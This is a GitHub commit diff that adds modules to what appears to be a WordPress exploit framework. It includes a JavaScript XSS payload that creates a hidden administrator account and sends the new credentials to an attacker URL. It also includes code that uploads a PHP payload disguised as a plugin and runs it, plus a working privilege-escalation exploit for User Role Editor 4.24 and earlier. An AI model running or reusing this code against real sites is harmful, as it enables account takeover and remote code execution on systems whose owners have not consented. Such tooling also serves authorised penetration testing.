Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit e097192

Browse files
committed
Merge pull request #14 from rastating/new_modules_2016-05
New modules 2016-05
2 parents 3207d4e + 9c92f19 commit e097192

17 files changed

+389
-45
lines changed

.rubocop.yml

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -43,3 +43,8 @@ Documentation:
4343
Style/IndentArray:
4444
Enabled: false
4545
Description: 'A lot of modules use a sensible indentation level that Rubocop does not like.'
46+
47+
Lint/UnusedMethodArgument:
48+
Description: 'A number of classes will contain unused parameters for documentation purposes.'
49+
Exclude:
50+
- 'lib/wpxf/**/*'

data/js/create_wp_user.js

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
var create_user = function () {
2+
var nonce = this.responseText.match(/id="_wpnonce_create-user" name="_wpnonce_create-user" value="([a-z0-9]+)"/i)[1];
3+
var data = new FormData();
4+
5+
data.append('action', 'createuser');
6+
data.append('_wpnonce_create-user', nonce);
7+
data.append('_wp_http_referer', '$wordpress_url_new_user');
8+
data.append('user_login', '$username');
9+
data.append('email', '$email');
10+
data.append('pass1', '$password');
11+
data.append('pass2', '$password');
12+
data.append('role', 'administrator');
13+
14+
postInfo("$wordpress_url_new_user", data, function () {
15+
var a = document.createElement("script");
16+
a.setAttribute("src", "$xss_url?u=$username&p=$password");
17+
document.head.appendChild(a);
18+
});
19+
};
20+
21+
ajax_download({
22+
path: "$wordpress_url_new_user",
23+
cb: create_user
24+
});

lib/cli/context.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ def verbose?
1515

1616
def load_module(path)
1717
match = path.match(/(auxiliary|exploit)\/(.+)/i)
18-
fail 'Invalid module path' unless match
18+
raise 'Invalid module path' unless match
1919

2020
type = match.captures[0]
2121
name = class_name(match.captures[1])

lib/cli/loaded_module.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ def run
4545
end
4646

4747
def check
48-
return unless module_loaded?
48+
return unless module_loaded? && module_can_execute?
4949
state = context.module.check
5050

5151
if state == :vulnerable

lib/wpxf/wordpress/fingerprint.rb

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -54,6 +54,17 @@ def check_plugin_version_from_readme(name, fixed = nil, introduced = nil)
5454
check_version_from_readme(:plugin, name, fixed, introduced)
5555
end
5656

57+
# Checks a plugin's changelog for a vulnerable version.
58+
# @param plugin_name [String] the name of the plugin.
59+
# @param file_name [String] the name of the file that contains the changelog.
60+
# @param fixed [String] the version the vulnerability was fixed in.
61+
# @param introduced [String] the version the vulnerability was introduced in.
62+
# @return [Symbol] :unknown, :vulnerable or :safe.
63+
def check_plugin_version_from_changelog(plugin_name, file_name, fixed = nil, introduced = nil)
64+
changelog = normalize_uri(wordpress_url_plugins, plugin_name, file_name)
65+
check_version_from_custom_file(changelog, /=\s(\d\.\d(\.\d)?)\s=/, fixed, introduced)
66+
end
67+
5768
# Checks a custom file for a vulnerable version.
5869
# @param url [String] the relative path of the file.
5970
# @param regex [Regexp] the regular expression to extract the version.

lib/wpxf/wordpress/shell_upload.rb

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -46,10 +46,17 @@ def payload_body_builder
4646
def uploaded_payload_location
4747
end
4848

49+
# Called prior to preparing and uploading the payload.
50+
# @return [Boolean] true if no errors occurred.
51+
def before_upload
52+
true
53+
end
54+
4955
# Run the module.
5056
# @return [Boolean] true if successful.
5157
def run
5258
return false unless super
59+
return false unless before_upload
5360

5461
emit_info 'Preparing payload...'
5562
@payload_name = "#{Utility::Text.rand_alpha(payload_name_length)}.php"

lib/wpxf/wordpress/urls.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -106,4 +106,9 @@ def wordpress_url_new_user
106106
def wordpress_url_uploads
107107
normalize_uri(wordpress_url_wp_content, 'uploads')
108108
end
109+
110+
# @return [String] the edit profile page URL.
111+
def wordpress_url_admin_profile
112+
normalize_uri(wordpress_url_admin, 'profile.php')
113+
end
109114
end

lib/wpxf/wordpress/user.rb

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,4 +16,18 @@ def wordpress_user_exists?(user)
1616

1717
false
1818
end
19+
20+
# @param cookie [String] a valid session cookie.
21+
# @return [Hash, nil] the profile form fields and their default values.
22+
def wordpress_user_profile_form_fields(cookie)
23+
res = execute_get_request(url: wordpress_url_admin_profile, cookie: cookie)
24+
return nil unless res.code == 200
25+
26+
fields = {}
27+
res.body.scan(/<input.*?name="(.*?)".*?value="(.*?)".*?>/i) do |name, value|
28+
fields[name] = value
29+
end
30+
31+
fields
32+
end
1933
end

lib/wpxf/wordpress/xss.rb

Lines changed: 31 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -4,9 +4,7 @@
44
module Wpxf::WordPress::Xss
55
include Wpxf
66
include Wpxf::Net::HttpServer
7-
include Wpxf::WordPress::Login
87
include Wpxf::WordPress::Plugin
9-
108
include ERB::Util
119

1210
# Initialize a new instance of {Xss}.
@@ -64,38 +62,19 @@ def xss_ascii_encoded_include_script
6462
# @return [String] a script that will create a new admin user and post the
6563
# credentials back to {#xss_url}.
6664
def wordpress_js_create_user
67-
username = Utility::Text.rand_alpha(6)
68-
password = Utility::Text.rand_alpha(10)
69-
70-
%Q|
65+
variables = {
66+
'$wordpress_url_new_user' => wordpress_url_new_user,
67+
'$username' => Utility::Text.rand_alpha(6),
68+
'$password' => Utility::Text.rand_alpha(10),
69+
'$email' => "#{Utility::Text.rand_alpha(7)}@#{Utility::Text.rand_alpha(10)}.com",
70+
'$xss_url' => xss_url
71+
}
72+
73+
%(
7174
#{js_ajax_download}
7275
#{js_ajax_post}
73-
74-
var create_user = function () {
75-
var nonce = this.responseText.match(/id="_wpnonce_create-user" name="_wpnonce_create-user" value="([a-z0-9]+)"/i)[1];
76-
var data = new FormData();
77-
78-
data.append('action', 'createuser');
79-
data.append('_wpnonce_create-user', nonce);
80-
data.append('_wp_http_referer', '#{wordpress_url_new_user}');
81-
data.append('user_login', '#{username}');
82-
data.append('email', '#{Utility::Text.rand_alpha(7)}@#{Utility::Text.rand_alpha(10)}.com');
83-
data.append('pass1', '#{password}');
84-
data.append('pass2', '#{password}');
85-
data.append('role', 'administrator');
86-
87-
postInfo("#{wordpress_url_new_user}", data, function () {
88-
var a = document.createElement("script");
89-
a.setAttribute("src", "#{xss_url}?u=#{username}&p=#{password}");
90-
document.head.appendChild(a);
91-
});
92-
};
93-
94-
ajax_download({
95-
path: "#{wordpress_url_new_user}",
96-
cb: create_user
97-
});
98-
|
76+
#{read_js_file_with_vars('create_wp_user.js', variables)}
77+
)
9978
end
10079

10180
# Default HTTP request handler for XSS modules which will serve the script
@@ -127,22 +106,36 @@ def upload_shell(username, password)
127106
cookie = authenticate_with_wordpress(username, password)
128107
return false unless cookie
129108

130-
emit_info 'Uploading payload...'
131109
plugin_name = Utility::Text.rand_alpha(10)
132110
payload_name = Utility::Text.rand_alpha(10)
111+
112+
emit_info 'Uploading payload...'
133113
unless wordpress_upload_payload_plugin(plugin_name, payload_name, cookie)
134114
emit_error 'Failed to upload the payload'
135115
return false
136116
end
137117

118+
execute_payload(plugin_name, payload_name)
119+
120+
true
121+
end
122+
123+
# @return [Boolean] true if the XSS shell upload was successful.
124+
def xss_shell_success
125+
@success
126+
end
127+
128+
private
129+
130+
def execute_payload(plugin_name, payload_name)
138131
payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
139132
emit_info "Executing the payload at #{payload_url}..."
140133
res = execute_get_request(url: payload_url)
134+
emit_success "Result: #{res.body}" if res && res.code == 200 && !res.body.strip.empty?
135+
end
141136

142-
if res && res.code == 200 && !res.body.strip.empty?
143-
emit_success "Result: #{res.body}"
144-
end
145-
146-
true
137+
def read_js_file_with_vars(name, vars)
138+
matcher = /#{vars.keys.map { |k| Regexp.escape(k) }.join('|')}/
139+
File.read(File.join(Wpxf.data_directory, 'js', name)).gsub(matcher, vars)
147140
end
148141
end
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
class Wpxf::Auxiliary::UserRoleEditorPrivilegeEscalation < Wpxf::Module
2+
include Wpxf::WordPress::User
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'User Role Editor <= 4.24 Privilege Escalation',
9+
desc: 'The User Role Editor plugin, in versions 4.24 and below, '\
10+
'allows authenticated users to escalate their user role to '\
11+
'that of an administrator.',
12+
author: [
13+
'Rob Carr <rob[at]rastating.com>' # WPXF module
14+
],
15+
references: [
16+
['WPVDB', '8432'],
17+
['URL', 'https://www.wordfence.com/blog/2016/04/user-role-editor-vulnerability/']
18+
],
19+
date: 'Apr 04 2016'
20+
)
21+
end
22+
23+
def check
24+
check_plugin_version_from_readme('user-role-editor', '4.25')
25+
end
26+
27+
def requires_authentication
28+
true
29+
end
30+
31+
def build_update_body
32+
fields = wordpress_user_profile_form_fields(session_cookie)
33+
return nil unless fields
34+
fields.merge('ure_other_roles' => 'administrator')
35+
end
36+
37+
def run
38+
return false unless super
39+
40+
body = build_update_body
41+
unless body
42+
emit_error 'Failed to build payload'
43+
return false
44+
end
45+
46+
res = execute_post_request(url: wordpress_url_admin_profile, body: body, cookie: session_cookie)
47+
unless res.code == 302 || res.code == 200
48+
emit_error "Request returned code #{res.code}"
49+
return false
50+
end
51+
52+
emit_success "User role for #{datastore['username']} has been escalated to administrator"
53+
true
54+
end
55+
end

0 commit comments

Comments
 (0)